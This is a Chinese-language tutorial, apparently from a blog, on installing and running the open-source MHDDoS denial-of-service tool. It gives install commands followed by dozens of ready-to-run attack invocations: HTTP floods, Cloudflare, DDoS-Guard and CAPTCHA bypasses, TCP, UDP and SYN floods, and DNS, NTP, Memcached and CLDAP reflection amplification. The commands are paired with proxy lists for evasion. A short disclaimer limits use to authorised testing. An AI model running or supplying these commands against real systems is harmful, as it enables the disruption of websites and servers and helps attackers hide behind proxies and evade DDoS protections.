简介
MHDDoS 是由 MatrixTM 团队开发并开源在 GitHub 上的一款高性能分布式拒绝服务攻击(DDoS)测试工具。其主要目的是帮助安全研究人员、开发者和系统管理员在合法授权的环境下进行压力测试和漏洞挖掘,从而提升系统的抗压能力与安全性。
该工具通过整合多种攻击方式,并利用异步编程技术,实现了快速高效的攻击流量生成,能够模拟各种真实场景下的网络攻击。此外,MHDDoS 支持自定义目标、代理池以及多种协议的攻击,包括 HTTP、TCP、UDP 等,满足不同测试需求。
核心特点
多协议支持:支持 HTTP(S)、TCP、UDP 等多种协议的 DDoS 测试。
高性能:基于 Python 的异步架构,提供了优异的吞吐量。
开源灵活:用户可以自由查看、修改源码,并根据需求定制攻击方式。
代理支持:支持导入代理列表,便于绕过目标限制。
多种攻击模式:如 GET Flood、POST Flood、Slowloris 等。
安装
MHDDoS的Github链接:https://github.com/MatrixTM/MHDDoS
在终端中输入以下命令,如果git克隆不了或者速度慢,请先挂好代理工具再进行下载。
git clone https://github.com/MatrixTM/MHDDoS.git
cd MHDDoS
ls
可以看到我们已经克隆好项目到本地了。我们会发现这里有个requirement.txt的文件。这个是我们要安装依赖项的文件。
在此之前先创建个python虚拟空间并使用。
#创建虚拟空间
python3 -m venv venv
#查看当前目录的文件
ls
#激活虚拟空间
source venv/bin/activate
#取消激活虚拟空间。当你不使用虚拟空间的时候就使用这条命令取消激活。
deactivate
可以看到我们的用户名左边出现"(venv)" ,就说明现在是进入虚拟空间了。接下来开始安装依赖项。
pip3 install -r requirements.txt
安装完成后,当你输入以下命令,出现这个信息就说明安装完成了。
python3 start.py help
额外
如果你有VPS的话也可以输入以下命令进行安装
apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt
如果你喜欢使用Docker的话,可以输入以下命令进行Docker安装。在安装之前,请先确保配置好国内的镜像源。不然可能下载不了。
sudo docker pull ghcr.io/mhprodev/mhddos:latest
手动安装
python3 -m pip install cfscrape<=2.1.1
python3 -m pip install certifi<=2021.10.8
python3 -m pip install dnspython>=2.2.0
python3 -m pip install requests==2.27.1
python3 -m pip install impacket==0.9.23
python3 -m pip install psutil>=5.9.0
python3 -m pip install icmplib>=2.1.1
python3 -m pip install git+https://github.com/MHProDev/PyRoxy.git
python3 -m pip install yarl~=1.7.2
使用
Tools工具
MHDDoS有一个Tools(工具)的使用命令,输入以下命令即可进入Tools控制台
python3 start.py tools
命令 | 作用 |
clear | 清除控制台。 |
back | 返回主控制台或之前的输入。 |
exit | 关闭控制台并退出脚本。 |
help | 显示帮助消息。 |
#查看帮助
help
#清除控制台。
clear
#返回主控制台或之前的输入。
back
#关闭控制台并退出脚本。
exit
INFO:关于网站的信息例如所属国家等。
TSSRV:TeamSpeak SRV 解析器。
DNS:显示站点的 DNS 记录。(不可用)
CFIP:查找由 Cloudflare 提供支持的网站的真实 IP 地址。(不可用)
DSTAT:显示已接收的字节数、已发送的字节数及其数量。
CHECK:检查网站状态。(不可用)
PING:icmp请求的响应时间。(不可用)
使用示例
查看帮助
python3 start.py help
Layer7使用方法
Layer7 一般用于对网站的攻击
python3 start.py <1=method> <2=url> <3=socks_type> <4=threads> <5=proxylist> <6=rpc> <7=duration> <8=debug=optional>
- 1:方法(攻击类型)
- 2:目标 URL 或 IP 地址
- 3:代理类型
- 4:要使用的线程数
- 5:代理文件
- 6:RPC(请求预连接)
- 7:持续时间(完成攻击的时间,以秒为单位)
- 8:调试模式(可选)
代理类型:
- 6 = 随机
- 5 = SOCKS5
- 4 = SOCKS4
- 1 = HTTP
- 0 = 全部
注意:如果代理列表为空,则攻击将在没有代理的情况下运行。如果代理文件不存在,脚本将下载代理并检查它们。 第一次使用代理文件会下载,要等段时间。
如果你使用过代理文件的话,在 files > proxies 目录里面会显示
使用时把https://example.com替换成真实的网站。
GET | GET 洪水
python3 start.py get https://example.com 5 100 socks5.txt 100 3600
使用get flood洪水攻击,对网站https://example.com进行压力测试,选择代理类型5(Socks5),使用 100 个线程运行旁路攻击,代理文件命名为socks5.txt,每个代理(连接)100 个请求,持续 3600 秒。
POST | POST 洪水
python3 start.py post https://example.com 4 100 socks4.txt 100 3000
使用post flood洪水攻击,对网站https://example.com进行压力测试,选择代理类型4(Socks4),使用 100 个线程运行旁路攻击,代理文件命名为socks4.txt,每个代理(连接)100 个请求,持续 3000 秒。
OVH | 绕过 OVH
python3 start.py ovh https://example.com 1 100 http.txt 100 3000
使用ovh绕过,对网站https://example.com进行压力测试,选择代理类型1(HTTP),使用 100 个线程运行旁路攻击,代理文件命名为http.txt,每个代理(连接)100 个请求,持续 3000 秒。
RHEX | 随机十六进制
python3 start.py rhex https://example.com 0 50 proxy.txt 120 2000
使用rhex,对网站https://example.com进行压力测试,选择代理类型0(全部),使用 50 个线程运行旁路攻击,代理文件命名为proxy.txt,每个代理(连接)120 个请求,持续 2000 秒。
STOMP | 绕过 chk_captcha
python3 start.py stomp https://example.com 1 100 http.txt 100 3000
STRESS | 发送带有高字节的 HTTP 数据包
python3 start.py stress https://example.com 0 150 proxy.txt 50 5000
DYN | 一种使用随机子域的新方法
python3 start.py dyn https://example.com 6 140 random.txt 120 2000
使用dyn,对网站https://example.com进行压力测试,选择代理类型6(随机),使用 140 个线程运行旁路攻击,代理文件命名为random.txt,每个代理(连接)120 个请求,持续 2000 秒。
DOWNLOADER | 一种缓慢读取数据的新方法
python3 start.py downloader https://example.com 5 100 socks5.txt 100 3000
SLOW | Slowlor 的旧 DDoS 方法
python3 start.py slow https://example.com 5 100 socks5.txt 100 3000
HEAD
python3 start.py head https://example.com 5 100 socks5.txt 100 3000
NULL | Null UserAgent 和 ...
python3 start.py null https://example.com 5 100 socks5.txt 100 3000
COOKIE | 随机 Cookie PHP'if (isset($_COOKIE))'
python3 start.py cookie https://example.com 5 100 socks5.txt 100 3000
PPS | 仅'GET / HTTP/1.1\r\n\r\n'
python3 start.py pps https://example.com 5 100 socks5.txt 100 3000
EVEN | GET 方法带有更多标头
python3 start.py even https://example.com 5 100 socks5.txt 100 3000
GSB | Google Project Shield 绕过
python3 start.py gsb https://example.com 5 100 socks5.txt 100 3000
DGB | DDoS Guard 绕过
python3 start.py dgb https://example.com 5 100 socks5.txt 100 3000
AVB | Arvan 云绕过
python3 start.py avb https://example.com 5 100 socks5.txt 100 3000
BOT | 类似 Google 机器人
python3 start.py avb https://example.com 5 100 socks5.txt 100 3000
APACHE | Apache 漏洞
python3 start.py apache https://example.com 5 100 socks5.txt 100 3000
XMLRPC | WP XMLRPC 漏洞 (添加 /xmlrpc.php)
python3 start.py apache https://example.com 5 100 socks5.txt 100 3000
CFB | CloudFlare 绕过
python3 start.py cfb https://example.com 5 100 socks5.txt 100 3000
CFBUAM | CloudFlare 攻击模式绕过
python3 start.py cfbuam https://example.com 5 100 socks5.txt 100 3000
BYPASS | 绕过常规 AntiDDoS
python3 start.py bypass https://example.com 5 100 socks5.txt 100 3000
BOMB | 使用 codesenberg/bombardier 绕过
需要额外安装BOMB功能,没有安装会报错。以后有机会再讨论。
python3 start.py bomb https://example.com 0 50 proxy.txt 100 3600
KILLER | 运行多个线程来杀死目标
python3 start.py killer https://example.com 5 100 socks5.txt 100 3000
TOR | 绕过洋葱网站
python3 start.py tor https://example.onion 5 100 socks5.txt 100 3000
Layer4使用方法
Layer4一般用于服务器或家庭局域网
普通模式
python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=debug=optional>
- 1:方法(攻击类型)
- 2:目标 URL 或 IP 地址
- 3:要使用的线程数
- 4:持续时间(完成攻击的时间,以秒为单位)
- 5:调试模式(可选)
代理模式
python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=socks_type> <6=proxylist> <7=debug=optional>
- 1:方法(攻击类型)
- 2:目标 URL 或 IP 地址
- 3:要使用的线程数
- 4:持续时间(完成攻击的时间,以秒为单位)
- 5:代理类型
- 6:代理文件
- 7:调试模式(可选)
DNS 放大攻击模式
注意: 此方法需要可欺骗的服务器(spoofable servers)!
反射放大攻击是一种技术,允许攻击者放大他们可以生成的恶意流量并掩盖攻击流量的来源。这种类型的分布式拒绝服务 (DDoS) 攻击使目标不堪重负,导致系统和服务中断或中断。
参考:https://www.cloudflare.com/zh-cn/learning/ddos/dns-amplification-ddos-attack/
python3 MHDDoS/start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=refelector file> <6=debug=optional>
- 1:方法(攻击类型)
- 2:目标 URL 或 IP 地址
- 3:要使用的线程数(多线程)
- 4:持续时间(完成攻击的时间,以秒为单位)
- 5:反射器文件
- 6:调试模式(可选)
使用时请把1.1.1.1:53替换为你真实存在的ip地址及端口。
TCP | TCP 洪水绕过 (可使用代理)
python3 start.py tcp 1.1.1.1:53 1 3600
对目标1.1.1.1:53进行测试。使用 1 个线程运行 tcp 攻击,持续 3600 秒
UDP | UDP 洪水绕过
python3 start.py udp 1.1.1.1:53 100 3600
对目标1.1.1.1:53进行测试。使用 100 个线程运行 udp 攻击,持续 3600 秒
SYN | SYN 洪水(root权限)
python3 start.py syn 1.1.1.1:53 100 3600
CPS | 使用代理打开和关闭连接 (可使用代理)
python3 start.py cps 1.1.1.1:53 100 3600 5 socks5.txt
对目标1.1.1.1:53进行测试。使用 100 个线程运行 cps 攻击,持续 3600 秒 ,使用socks5进行代理
ICMP | ICMP 回显请求洪水(Layer3)(root权限)
python3 start.py icmp 1.1.1.1:53 100 3600
CONNECTION | 使用代理打开活动连接(可使用代理)
python3 start.py connection 1.1.1.1:53 100 3600 5 socks5.txt
VSE | 发送 Valve Source 引擎协议
python3 start.py vse 1.1.1.1:53 100 3600
TS3 | 发送 Teamspeak 3 状态 Ping 协议
python3 start.py ts3 1.1.1.1:53 100 3600
FIVEM | 发送 FiveM 状态 Ping 协议
python3 start.py fivem 1.1.1.1:53 100 3600
MEM | Memcached 放大(root权限)
python3 start.py mem 1.1.1.1:53 100 3600
NTP | NTP 放大(root权限)
python3 start.py ntp 1.1.1.1:53 100 3600
MCBOT | Minecraft 机器人攻击(可使用代理)
python3 start.py mcbot 1.1.1.1:53 100 3600 5 socks5.txt
MINECRAFT | Minecraft 状态 Ping 协议(可使用代理)
python3 start.py minecraft 1.1.1.1:53 1000 3600 5 socks5.txt
MCPE | Minecraft PE 状态 Ping 协议
python3 start.py mcpe 1.1.1.1:53 1000 3600
以下需要 spoofable servers
DNS | DNS 放大(root权限)
python3 start.py dns 1.1.1.1:53 100 3600 dns.txt
CHAR | Chargen 放大(root权限)
python3 start.py char 1.1.1.1:53 100 3600 char.txt
CLDAP | Cldap 放大(root权限)
python3 start.py cldap 1.1.1.1:53 100 3600 cldap.txt
ARD | Apple 远程桌面放大(root权限)
python3 start.py ard 1.1.1.1:53 100 3600 ard.txt
RDP | 远程桌面协议放大(root权限)
python3 start.py rdp 1.1.1.1:53 100 3600 rdp.txt
调试模式(记录攻击状态)
python3 start.py bypass https://example.com 5 1000 socks5.txt 100 100 true
python3 start.py udp 1.1.1.1:53 1 100 true
python3 start.py dns 1.1.1.1:53 1 100 dns.txt true
python3 start.py minecraft 1.1.1.1:53 1 100 5 socks5.txt true
总结
MHDDoS作为一款开源的DDoS工具,由MatrixTM团队开发并在GitHub上提供,不仅展示了高效的网络攻击能力,还体现了对网络性能测试和安全性研究的技术支持。在使用过程中,我们深入了解了其多种攻击模式及使用方法,同时也通过实际测试认识到工具的运行环境、依赖配置以及潜在的使用限制。
合法合规地运用此类工具进行网络防御和性能测试尤为重要。
在此特别强调,本教程仅在合法授权的情况下进行测试和研究,请勿用于其他用途。未经授权使用此类工具可能会侵犯他人隐私,触犯相关法律,任何因此引发的法律或利益纠纷与本人无关。
欢迎各位大佬,萌新小白来找我交流。